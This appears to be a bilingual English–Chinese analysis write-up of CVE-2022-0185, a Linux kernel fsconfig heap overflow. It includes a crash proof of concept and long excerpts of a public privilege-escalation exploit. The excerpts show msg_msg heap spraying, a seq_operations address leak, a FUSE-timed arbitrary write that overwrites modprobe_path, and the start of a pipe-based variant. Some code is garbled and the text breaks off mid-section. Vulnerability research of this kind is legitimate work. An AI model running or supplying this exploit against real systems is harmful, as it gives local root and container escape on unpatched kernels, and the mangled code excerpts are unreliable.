
CVE-2022-0185 POC and Docker and Analysis write up
[toc]
Vulnerability ID: CVE-2022-0185
CVSS Score:
Affected Product: linux kernel - fsconfig syscall
Affected Versions: linux kernel 5.1-rc1 ~ 5.16.2
Exploitation Requirements: Linux local; requires CAP_SYS_ADMIN capability (can be obtained directly via unshare, effectively no restriction)
Impact: Local privilege escalation; container escape
Source Code: git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git -b Ubuntu-hwe-5.11-5.11.0-27.29_20.04.1 --depth 1
or https://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/
5.X kernel compilation environment docker: chenaotian/kernelcompile
Vulnerability analysis docker: chenaotian/cve-2022-0185
Two kernels prepared: one distribution kernel and one self-compiled kernel
Install qemu, gdb, gdb-peda, etc.
Vulnerability-related files in /root/cve-2022-0185
boot_exp.sh for starting the exploit verification/debug environment, distribution 5.11.0-44 unsigned kernelboot_poc.sh for starting the poc verification environment, can crash the kernel but cannot run the exploit, self-compiled 5.13 signed kernelexp directory, exp source code (author: BitsByWill), directly compile exploit_fuseqemu environment: https://github.com/chenaotian/CVE-2022-0185/tree/main/qemuANDexp
Ubuntu 20.04 virtual machine exploit runtime environment using the original author's exp
Prepare an Ubuntu 20.04 virtual machine, then replace the kernel:```shell apt-get install linux-image-5.11.0-44-generic
grep menuentry /boot/grub/grub.cfg vim /etc/default/grub #修改 GRUB_DEFAULT 选项为上面结果中想要启动内核的下标 update-grub #如果不生效的话则直接进入/boot 目录将之前的内核相关文件(带之前内核编号的文件)全部删掉,然后启动时候报找不到内核,然后手动选择内核启动也可以
#编译exp make fuse ./exploit
Privilege escalation effect

## Vulnerability principle
The system call where the vulnerability occurs is the `FSCONFIG_SET_STRING` operation option in `fsconfig`. This system call is used to configure an already opened filesystem context. **The prerequisite is the `CAP_SYS_ADMIN` capability**:
> The main purpose of `fsopen` is to create a filesystem context and associate it with a file descriptor, returning the file descriptor. After `fsopen`, `fsconfig` follows. From the literal meaning, it can be guessed that we created a filesystem context via `fsopen` above, and `fsconfig` below might be used to configure the content within the filesystem context. In fact, `fsconfig` is indeed mainly used for this configuration work. In addition to the filesystem context, it also supports other tasks.
### Vulnerability point
First, the vulnerability appears in the `legacy_parse_param` function:
linux-5.11\fs\fs_context.c : 502 : legacy_parse_param```c
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct legacy_fs_context *ctx = fc->fs_private;
unsigned int size = ctx->data_size;
size_t len = 0;
··· ···
··· ···
switch (param->type) {
case fs_value_is_string:
len = 1 + param->size;
fallthrough;
··· ···
}
if (len > PAGE_SIZE - 2 - size) //此处边界检查有问题
return invalf(fc, "VFS: Legacy: Cumulative options too large");
if (strchr(param->key, ',') ||
(param->type == fs_value_is_string &&
memchr(param->string, ',', param->size)))
return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
param->key);
if (!ctx->legacy_data) {
ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL); //在第一次时会分配一页大小
if (!ctx->legacy_data)
return -ENOMEM;
}
ctx->legacy_data[size++] = ',';
len = strlen(param->key);
memcpy(ctx->legacy_data + size, param->key, len);
size += len;
if (param->type == fs_value_is_string) {
ctx->legacy_data[size++] = '=';
memcpy(ctx->legacy_data + size, param->string, param->size); //拷贝,可能越界
size += param->size;
}
ctx->legacy_data[size] = '\0';
ctx->data_size = size;
ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;
return 0;
}
The key is the subsequent memcpy, which copies the param->string we passed into ctx->legacy_data. The check for out-of-bounds copy is the preceding (len > PAGE_SIZE - 2 - size) check. This check is flawed: the comparison type is size_t, i.e. unsigned int. If size > PAGE_SIZE - 2, an integer overflow and wrap-around will occur, resulting in len < PAGE_SIZE - 2 - size, thus passing the check. Then during the copy, size is greater than PAGE_SIZE - 2, causing an out-of-bounds copy.
Some data structures used:```c struct fs_context { const struct fs_context_operations ops; struct mutex uapi_mutex; / Userspace access mutex */ struct file_system_type *fs_type; void fs_private; / The filesystem's context */ void *sget_key; struct dentry root; / The root and superblock */ struct user_namespace user_ns; / The user namespace for this mount */ struct net net_ns; / The network namespace for this mount */ const struct cred cred; / The mounter's credentials / struct p_log log; / Logging buffer */ const char source; / The source name (eg. dev path) */ void security; / Linux S&M options / void s_fs_info; / Proposed s_fs_info / unsigned int sb_flags; / Proposed superblock flags (SB_) / unsigned int sb_flags_mask; / Superblock flags that were changed / unsigned int s_iflags; / OR'd with sb->s_iflags / unsigned int lsm_flags; / Information flags from the fs to the LSM / enum fs_context_purpose purpose:8; enum fs_context_phase phase:8; / The phase the context is in / bool need_free:1; / Need to call ops->free() / bool global:1; / Goes into &init_user_ns / bool oldapi:1; / Coming from mount(2) */ };
struct legacy_fs_context { char legacy_data; / Data page for legacy filesystems */ size_t data_size; enum legacy_fs_param param_type; };
struct fs_parameter { const char key; / Parameter name / enum fs_value_type type:8; / The type of value here */ union { char *string; void *blob; struct filename *name; struct file *file; }; size_t size; int dirfd; };
### Call Path
Below, we analyze the function call stack. First, the entry point is definitely the `fsconfig` system call:
linux-5.11\fs\fsopen.c : 314 : SYSCALL_DEFINE5(fsconfig,...```c
SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;
struct fs_parameter param = {
.type = fs_value_is_undefined,
};
··· ···
f = fdget(fd);
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;
fc = f.file->private_data; //设置fc
··· ···
switch (cmd) {
··· ···
case FSCONFIG_SET_STRING:
param.type = fs_value_is_string;
//初始化结构体中的联合体中的string成员为用户传入的字符串
param.string = strndup_user(_value, 256);
if (IS_ERR(param.string)) {
ret = PTR_ERR(param.string);
goto out_key;
}
param.size = strlen(param.string);//设置size
break;
··· ···
··· ···
}
ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, ¶m);
mutex_unlock(&fc->uapi_mutex);
}
··· ···
··· ···
}
At the entry of the fsconfig system call, first initialize the filesystem context structure fc based on the file descriptor fd, then set the param structure according to the parameters passed by the user. This structure variable param is the one later used in the vulnerability function legacy_parse_param. Next, enter the vfs_fsconfig_locked function:
linux-5.11\fs\fsopen.c : 216 : vfs_fsconfig_locked```c static int vfs_fsconfig_locked(struct fs_context *fc, int cmd, struct fs_parameter *param) { struct super_block *sb; int ret;
ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
··· ···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;
return vfs_parse_fs_param(fc, param);
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}
First, call the `finish_clean_context` function, which calls the `legacy_init_fs_context` function to register a callback function table. This callback function table includes the vulnerable function `legacy_parse_param`.
linux-5.11\fs\fs_context.c ```c
int finish_clean_context(struct fs_context *fc)
{
··· ···
error = legacy_init_fs_context(fc);
··· ···
}
static int legacy_init_fs_context(struct fs_context *fc)
{
fc->fs_private = kzalloc(sizeof(struct legacy_fs_context), GFP_KERNEL);
if (!fc->fs_private)
return -ENOMEM;
fc->ops = &legacy_fs_context_ops; //注册回调函数表
return 0;
}
const struct fs_context_operations legacy_fs_context_ops = {
.free = legacy_fs_context_free,
.dup = legacy_fs_context_dup,
.parse_param = legacy_parse_param, //漏洞函数
.parse_monolithic = legacy_parse_monolithic,
.get_tree = legacy_get_tree,
.reconfigure = legacy_reconfigure,
};
After registration, it enters the vfs_parse_fs_param function to process the parameters, where the newly registered callback function, i.e., the vulnerable function, is called.```c
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
··· ···
if (fc->ops->parse_param) {
ret = fc->ops->parse_param(fc, param); //漏洞所在函数
if (ret != -ENOPARAM)
return ret;
}
··· ···
··· ···
} EXPORT_SYMBOL(vfs_parse_fs_param);
The overall preview is as follows
- SYSCALL_DEFINE5(fsconfig,... : system call entry
- vfs_fsconfig_locked
- finish_clean_context
- legacy_init_fs_context : register callback function table
- vfs_parse_fs_param
- legacy_parse_param : vulnerability
## Vulnerability Replication POC
Vulnerability replication poc:```c
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
int main(void)
{
char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
int fd = 0;
fd = fsopen("ext4", 0);
if (fd < 0) {
puts("Opening");
exit(-1);
}
for (int i = 0; i < 5000; i++) {
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
}
return 0;
}
After static compilation, package it into the filesystem and use qemu to boot the kernel.```shell cd ~/cve-2022-0185 gcc poc.c --static cp a.out rootfs/a.out cd rootfs find . | cpio -o --format=newc > ../rootfs.img cd ../ ./boot_poc.sh
Switch to another terminal and use gdb for remote debugging:```shell
cd ~
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b legacy_parse_param
c
On the first call:
legacy_data is not yet initialized:
It will later call kmalloc to initialize, and then copy the input string into legacy_data. When the function returns, the first string has already been copied, and ,= will be prepended, making the length 0x69.
Since we call fsconfig multiple times to copy the string. Each time we pass 0x67 'A' characters, and the legacy_parse_param function prepends ,=, so each copy is 0x69 bytes long. After 39 copies, the length of legacy_data reaches 0xfff. After 39 copies, break and check:
It is found that data_size of legacy_data has reached 0xfff.
The 0x1000-size memory space allocated by kmalloc is also about to reach its limit. Check where the vulnerability occurs:
0x68 is less than the reversed 0xffff..., the check passes, and after copying, it directly overflows, overwriting the following memory contents:
Then continuing to run, the kernel crashes:
According to the exploit author's write-up: CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers. He implemented two exploitation methods: privilege escalation on Ubuntu 20.04 with kernel version 5.11.0-44, and the exploitation method that earned a bounty on Google's KCTF. Here we mainly analyze the exploitation on Ubuntu 20.04 with kernel version 5.11.0-44.
The exploit author previously turned this exploitation method into two CTF challenges: fire_of_salvation and wall_of_perdition from corCTF 2021. By overwriting the message header structure msg_msg through an overflow or UAF operation, arbitrary address read/write is achieved. We will not analyze this exploitation method in great detail here, only the parts used in the challenge.
msgsnd and msgrcv are kernel functions for inter-process communication to send and receive messages. The general logic is to send messages to the kernel, which maintains a corresponding message queue; when receiving messages, they are taken from the message queue.
msgsnd source code definition, the main functionality is completed by do_msgsnd:
linux-hwe-5.11_5.11.0.orig\linux-5.11\ipc\msg.c : 840```c static long do_msgsnd(int msqid, long mtype, void __user *mtext, size_t msgsz, int msgflg) { struct msg_queue *msq; struct msg_msg *msg; ··· ··· if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0) return -EINVAL; //检查长度,默认最长8192(可以调试断住看一下) ··· ··· //主要有用的功能在这里 msg = load_msg(mtext, msgsz); //调用load_msg 分配内存并从用户空间将消息拷贝过来。 ··· ··· msg->m_type = mtype; msg->m_ts = msgsz;
··· ···
//后面代码将msg 添加到消息队列。
··· ···
}
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz, int msgflg) { ··· ··· return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg); }
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz, int, msgflg) { return ksys_msgsnd(msqid, msgp, msgsz, msgflg); }
`do_msgsnd` 允许的消息最大长度为8192:

然后需要重点分析一下 `load_msg` 函数,由于在`load_msg` 函数中使用了`alloc_msg` 函数来申请内存空间,并且组织消息结构。这里先分析一下`alloc_msg` 函数:
linux-5.11\ipc\msgutil.c : 46 : alloc_msg```c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
//#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
··· ···
··· ···
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
//#define DATALEN_SEG ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
··· ···
}
Here, the message is divided into segments based on its length. If the message length + header length exceeds one page (4k), it will be stored in segments. The first segment consists of the message header + message segment 1, with a pointer in the message header pointing to the second segment; the second segment consists of the message segment header + message segment 2... According to the previously mentioned maximum message length of 8192, the message can be divided into at most 3 segments. The maximum length of each segment is one page (4k), and the minimum must include the message header with a length of 0x30. Therefore, the heap allocation sizes we can control range from kmalloc-64 to kmalloc-4k. The structures of the message header and message segment header are as follows:```c
struct msg_msg {//消息头结构体
struct list_head m_list; //两个指针
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void security;
/ the actual message follows immediately */
};
struct msg_msgseg {
struct msg_msgseg next;
/ the next part of the message follows immediately */
};
Therefore, the structure of the message composition is similar to:

Messages exist in a message queue, managed by a doubly linked list. The messages themselves are still stored in segments, linked by a singly linked list. The maximum length of each segment is one page (4k). Next, we analyze the `do_msgsnd` function:
linux-5.11\ipc\msgutil.c : 84 : load_msg```c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;
msg = alloc_msg(len); //根据消息长度生成上图那种结构体
if (msg == NULL)
return ERR_PTR(-ENOMEM);
alen = min(len, DATALEN_MSG); //根据分段情况从用户空间分段拷贝,这里拷贝第一段
if (copy_from_user(msg + 1, src, alen))
goto out_err;
for (seg = msg->next; seg != NULL; seg = seg->next) { //按顺序拷贝剩下的部分
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen))
goto out_err;
}
··· ···
··· ···
}
The latter part directly copies sequentially from user space according to the message segmentation situation.
Next, look at the message receiving function msgrcv. Similarly, the main logic is in the do_msgrcv function. Here, a small detail is mentioned, without detailed analysis:
linux-5.11\ipc\msg.c : 1090 : do_msgrcv```c
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg, long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
··· ···
if (msgflg & MSG_COPY) {
if ((msgflg & MSG_EXCEPT) || !(msgflg & IPC_NOWAIT))
return -EINVAL;
copy = prepare_copy(buf, min_t(size_t, bufsz, ns->msg_ctlmax));
if (IS_ERR(copy)) //搜索要发送的消息之前,准备一个消息备份(申请内存),用来存放消息
return PTR_ERR(copy);
}
··· ···
for (;;) {
··· ···
msg = find_msg(msq, &msgtyp, mode);
if (!IS_ERR(msg)) {
··· ···
if (msgflg & MSG_COPY) {
msg = copy_msg(msg, copy); //找到之后拷贝到消息备份中
goto out_unlock0;
}
··· ···
}
··· ···
}
··· ···
bufsz = msg_handler(buf, msg, bufsz); //将消息备份发送到用户
free_msg(msg); //释放消息备份
return bufsz;
}
When the `MSG_EXCEPT` flag is present in `msgflg` (default configuration, compile option `CONFIG_CHECKPOINT_RESTORE`), backup message sending is used. The specific logic is: first allocate a message structure as a message backup, find the message, copy it into the backup, send it to user space, then release the backup. **Thus the original message is not unlinked from the queue**, and what we want is precisely "the action of not unlinking the original message from the queue". Because sometimes when we overflow, we overwrite the doubly linked list pointers in the message header, and unlinking would then cause a crash – which is not the desired outcome.
That’s about all the knowledge points involved; the exploitation techniques used are:
- Using the `msgsnd` function to perform spray operations in the range of `kmalloc-64` to `kmalloc-4k` (traditional technique)
- If the `m_ts` member of the `msg_msg` header can be overwritten, the message length changes, causing an out-of-bounds read (new technique)
- If, **during the load_msg process**, the `struct msg_msgseg *next` member of the `msg_msg` header can be overwritten, then arbitrary address read/write can be achieved. This usually requires exploiting a race condition with `userfaulted`, but the latest kernels no longer allow user‑mode invocation of `userfaulted`. Here, a new method is adopted.
#### Replacement for userfaulted
According to the analysis of the `load_msg` function above, after `alloc_msg` allocates memory for the message, it copies the message from user space. If the message is a long segmented message, it needs to be copied in segments. If we can cause a page fault during the copy of the first segment, pausing the copy operation to wait for the exception handling to complete, then use the overflow to overwrite the `msg_msgseg *next` pointer in `msg_msg`, after the exception handling returns and copying of the second segment resumes, it becomes overwriting arbitrary content to an address we specify (arbitrary address write).
Normally, this requires registering a user‑mode page fault handler, but in newer versions, the `userfaulted` syscall cannot be invoked without privileges. Here, a new method is provided: the **FUSE** user‑space file system. FUSE can be used to register a user‑space file system with its own `read`, `write`, etc. functions. When a page fault occurs, it still returns to user space to handle the interrupt.
It is worth mentioning that FUSE itself does not have a statically compiled library. BitsByWill and D3v17 cut it down, removing dlopen and some other things, producing only a statically compilable libfuse3.a. Go ahead and say it: thank you, BitsByWill and D3v17.
[Reference](https://static.sched.com/hosted_files/lsseu2019/04/LSSEU2019%20-%20Exploiting%20race%20conditions%20on%20Linux.pdf)
#### Leaking Addresses
This is also a standard kernel pwn technique: use the `seq_operations` structure to leak addresses, as it is full of function pointers:```c
struct seq_operations {
void * (*start) (struct seq_file *m, loff_t *pos);
void (*stop) (struct seq_file *m, void *v);
void * (*next) (struct seq_file *m, void *v, loff_t *pos);
int (*show) (struct seq_file *m, void *v);
};
Specifically, when opening /proc/self/stat, the single_open function is called to initialize the seq_operations structure:```c
int single_open(struct file *file, int (*show)(struct seq_file *, void *),
void *data)
{
struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
int res = -ENOMEM;
if (op) {
op->start = single_start;
op->next = single_next;
op->stop = single_stop;
op->show = show;
res = seq_open(file, op);
··· ··· }
Initialize all function pointers in the `single_open` structure to kernel functions; if any one leaks, the kernel base address can be leaked.
#### Privilege Escalation
The classic technique of kernel pwn: `modprobe_path`, a string in the kernel that points to a path, default is /sbin/modprobe```c
char modprobe_path[KMOD_PATH_LEN] = "/sbin/modprobe";
当运行一个无法识别格式的文件的时候就会去modprobe_path 指向的文件运行它,这个是内核去运行的,所以是root权限,一般如果可以修改该字符串,则认为提权成功。
这里没编译出能满足exp 运行的环境(我太菜了),直接将apt 安装的5.11.0-44-generic 的vmlinuz 拷贝出来用的,qemu启动之后确实能调。可能是由于cap 部分或fuse 没配置好,导致如果用非root用户运行exp 还是有一些问题,所以这里qemu 调试的时候就使用root 用户跑exp,毕竟exp 是修改内核中modprobe_path。
要获取exp 直接访问作者github,在ubuntu20 环境下可以编译,我这里只做了分析、调试和验证。
exp结构:
CVE-2022-0185-master\exploit_fuse.c : 258 : main```c int main(int argc, char **argv, char **envp) { ··· ···
if (!fork()) //子进程注册一个fuse 文件系统,用于提供userfaulted
{
fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL);
}
sleep(1);
spray_4k(30);//堆将现有的free kmalloc消耗掉
uint64_t kbase = 0;
while(!kbase) //泄露kernel 基址部分
{
kbase = do_leak();
}
··· ···
spray_4k(30);//堆将现有的free kmalloc消耗掉
while (1)
{
do_win(); //任意地址写修改modprobe_path完成利用部分
··· ···
}
··· ···
}
The exp is mainly divided into two parts: leak and arbitrary address write.
#### Leaking the kernel base address
I think the leak part of this exp is very clever: first overflow to overwrite unused parts, then allocate the structure that needs to be overflowed and overwritten so as not to damage the unintended parts of the target, then continue to overflow to precisely cover the target.
Mainly the `do_leak` function
CVE-2022-0185-master\exploit_fuse.c : 33 : do_leak```c
uint64_t do_leak ()
{
uint64_t kbase = 0;
char pat[0x1000] = {0};
char buffer[0x2000] = {0}, recieved[0x2000] = {0};
int targets[0x10] = {0};
msg *message = (msg *)buffer;
int size = 0x1018;
// spray msg_msg
for (int i = 0; i < 8; i++) //[1]先申请8个独立的消息队列,每个里面存放一条消息
{
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}/*消息大小 0x1018-0x30,实际会分成两段
*第一段 消息头msg_msg 0x30 和消息0xfd 共0x1000 kmalloc-4k
*第二段 消息段头 msg_msgseg 0x8 和消息0x18 共0x20 kmalloc-32*/
memset(pat, 0x42, sizeof(pat));
pat[sizeof(pat)-1] = '\x00';
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("fsopen: Remember to unshare");
exit(-1);
}
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++)
{ //[2]溢出准备,多次调用fsconfig 将legacy_data 长度填充到4095准备溢出
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
// overflow, hopefully causes an OOB read on a potential msg_msg object below
puts("[*] Overflowing...");
pat[21] = '\x00';
char evil[] = "\x60\x10";
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
/*[3]溢出部分,输入长度21,由于每次溢出会自动加上",="所以实际23,再加上之前长度4095总共溢出22
*这里正常情况发生溢出溢出的是还没被使用(分配)过的内存*/
// spray more msg_msg
for (int i = 8; i < 0x10; i++)
{//[4]继续msgsnd,申请msg_msg 结构体,大概率申请到将legacy_data后面的地方
memset(buffer, 0x41+i, sizeof(buffer));
targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(targets[i], message, size - 0x30, 0);
}//msg_msg 头会覆盖刚刚溢出的内容
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
/*[5]继续溢出,legacy_data+size 的指针指向的位置正好在msg_msg结构体的中间,m_ts 位之前
*刚好覆盖m_ts,修改msg 的大小*/
puts("[*] Done heap overflow");
puts("[*] Spraying kmalloc-32");
for (int i = 0; i < 100; i++)
{//[6]上面提到过的泄露地址用结构体,多次打开stat,喷射多个0x20的seq_operations结构体
open("/proc/self/stat", O_RDONLY);
}//大概率会喷射到消息第二段0x20(kmalloc-32) 的后面
size = 0x1060;//接受消息的长度
puts("[*] Attempting to recieve corrupted size and leak data");
// go through all targets qids and check if we hopefully get a leak
for (int j = 0; j < 0x10; j++)
{//[7]接受消息,某一个消息的长度被改大,则会越界读到后面的seq_operations结构体
get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
kbase = do_check_leak(recieved);//泄露成功
if (kbase)
{
close(fd);
return kbase;
}
}
puts("[X] No leaks, trying again");
return 0;
}
这里会在溢出操作之前和之后分别用msgsnd 布局一部分kmalloc 堆块,具体消息长度是0x1018-0x30 = 0xfe8。那么根据消息结构,会被分成两段0xfd和0x18:
msg_msg 0x30 和消息0xfd 共0x1000 属于kmalloc-4kmsg_msgseg 0x8 和消息0x18 共0x20 属于kmalloc-32准备溢出,使用fsconfig 将legacy_data (申请长度4096 属于kmalloc-4k)长度填充到4095,这里使用33个'A',实际每次还会加上",="两个字符,所以实际每次填充35个字符填充117次正好4095。
页起始地址与页末尾:

再填充21个字符,加上",="共23个字符,这里就发生了溢出,由于之前填充到了4095,所以实际溢出22个字符,也就是0x16,但这里正常情况发生溢出溢出的是还没被使用(分配)过的内存。

步骤2到步骤6堆内存变化如图所示,红色剪头是fsconfig 中legacy_data + size 指针会指向的位置:

这一部分就比较简单了,上面提到过,让msgsnd 中的copy_from_user 发生缺页中断,到我们注册的用户文件系统fuse 的处理函数中处理中断,在这期间使用fsconfig 溢出覆盖消息的第二段。```c
void do_win()
{
int size = 0x1000;
char buffer[0x2000] = {0};
char pat[0x1000] = {0};
msg* message = (msg*)buffer;
memset(buffer, 0x44, sizeof(buffer));
//[1]在0x1337000 mmap 一页
void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
uint64_t race_page = 0x1338000;
msg *rooter = (msg *)(race_page-0x8); //后续关键消息开始设置在刚mmap 的页末尾
rooter->mtype = 1;
size = 0x1010;
int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
send_msg(target, message, size - 0x30, 0);
//[2]设定消息长度为0xfe的消息,会分成两段
puts("[*] Opening ext4 filesystem");
fd = fsopen("ext4", 0);
if (fd < 0)
{
puts("Opening");
exit(-1);
}
puts("[*] Overflowing...");
strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
for (int i = 0; i < 117; i++) //[3]溢出前填充工作
{
fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
}
puts("[*] Prepaing fault handlers via FUSE");
int evil_fd = open("evil/evil", O_RDWR);
if (evil_fd < 0)
{
perror("evil fd failed");
exit(-1);
}
//[4]使用fuse 文件系统mmap 一页,在0x1338000,也就是上面mmap 的后面
if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000)
{
perror("mmap fail fuse 1");
exit(-1);
}
pthread_t thread;
int race = pthread_create(&thread, NULL, arb_write, NULL);
if(race != 0)
{
perror("can't setup threads for race");
}
//[5]发送消息,消息开头在第一个mmap 页的末尾,会触发page fault,等待中断处理
send_msg(target, rooter, size - 0x30, 0);
//[6]开启线程,线程执行溢出操作,在等待中断处理的过程中覆盖msg_msg 的mst_msgseg *next指针
pthread_join(thread, NULL);
munmap((void *)0x1337000, 0x1000);
munmap((void *)0x1338000, 0x1000);
close(evil_fd);
close(fd);
}
void *arb_write(void *args) {//[6]负责溢出的线程 uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void )&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); //将msg_msg 中的msg_msgseg * next指针覆盖为modprobe_path - 8 fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[] Done heap overflow"); write(fuse_pipes[1], "A", 1); }
int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {//[5]fuse文件系统的evil_read 直接将需要篡改的内容拼接到对应位置上。 // change to modprobe_path char signal; char evil_buffer[0x1000]; memset(evil_buffer, 0x43, sizeof(evil_buffer)); char *evil = modprobe_win; //char *modprobe_win = "/tmp/w"; memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
size_t len = 0x1000;
···
memcpy(buf, evil_buffer + offset, size);
// sync with the arb write thread
read(fuse_pipes[0], &signal, 1); //[7]等待溢出操作完成,返回,完成任意地址写
return size;
}
1. `mmap` one page at 0x1337000 - page 1
2. Set the message length to 0x1010-0x30=0xfe0, so the message just needs to be split into two segments.
3. `fsconfig` prepare pre-overflow fill, allocate a `kmalloc-4k`
4. Use the previously registered fuse filesystem to `mmap` a page at 0x1338000 - page 2
5. Send a message of length 0xfe0, allocate a `kmalloc-4k` and a `kmalloc-32`. The message starts at the end of page 1. At this point, when the `copy_from_user` function inside `msgsnd` copies the message from user space to kernel space, copying to page 2 will trigger a page fault and call the `evil_read` function of the fuse filesystem in user space. This function is specified by us and writes the content we want into the kernel. And this function waits for the following process to finish before returning.
6. At this point, start a new process. The new process performs the overflow operation, overwriting the `msg_msgseg * next` pointer in the subsequent message header `msg_msg` to point to `modprobe_path`. Then send a completion signal to the `evil_read` function.
7. `evil_read` returns, completing arbitrary address write. `modprobe_path` is tampered to `"/tmp/w"`

Diagram:

Since `modprobe_path` has been modified, we consider privilege escalation successful. The subsequent privilege escalation operation of the exp is to add the suid permission to `/bin/bash`. But it is no longer important.

### [New] exp analysis (artificial dirty pipe universal version)
Source: [veritas501/CVE-2022-0185-PipeVersion](https://github.com/veritas501/CVE-2022-0185-PipeVersion)
The main idea comes from after CVE-2022-0847 (dirty pipe) was exposed, it was discovered that pipe and splice have such a mechanism:
1. A pipe consists of 16 cache pages. Each time data is written to the pipe, it checks which page is currently being written to. If the page is not fully written, it will try to continue writing on that page. But not all pages can be continued, such as the following situations.
2. splice allows transferring files to the pipe. The implementation method is to directly replace the pipe's cache pages with the file's cache pages. Such replaced file cache pages do not allow pipe to continue writing.
3. After version 5.8, `pipe_buffer->flags` is used to determine whether the page allows continued writing. Before version 5.8, whether `pipe_buffer->ops` is `anon_pipe_buf_ops` is used to determine whether continued writing is allowed.
So the cause of the dirty pipe vulnerability is that `pipe_buffer->flags` is not initialized, causing the file cache pages transferred by splice to be writable. Although it has been fixed, consider whether we can artificially create a dirty pipe by tampering with flags? The answer is yes. It is known that dirty ppie is a vulnerability that does not rely on any address leak to exploit, and pipe_buffer is a commonly used victim structure in kernel vulnerability exploitation. Tampering with its flags or ops is easy. The following describes the idea of implementing a universal exp through artificial dirty pipe:
First, spray several message queue pairs, each pair containing a msg_msg of 0x1400. In this way, the msg will be split into two segments, one of 0x1000 and one of 0x4000. Then use out-of-bounds write to modify the m_ts field of the main message segment to 0x1800:

In this way, by finding the **msgid that can successfully read a length of 0x1800**, it is determined that the msg_msg of that queue has been overflowed. Also, it is necessary to determine through out-of-bounds read that what follows is message segment 2 (sec2) of another message. Then release all other msg queues except this one:

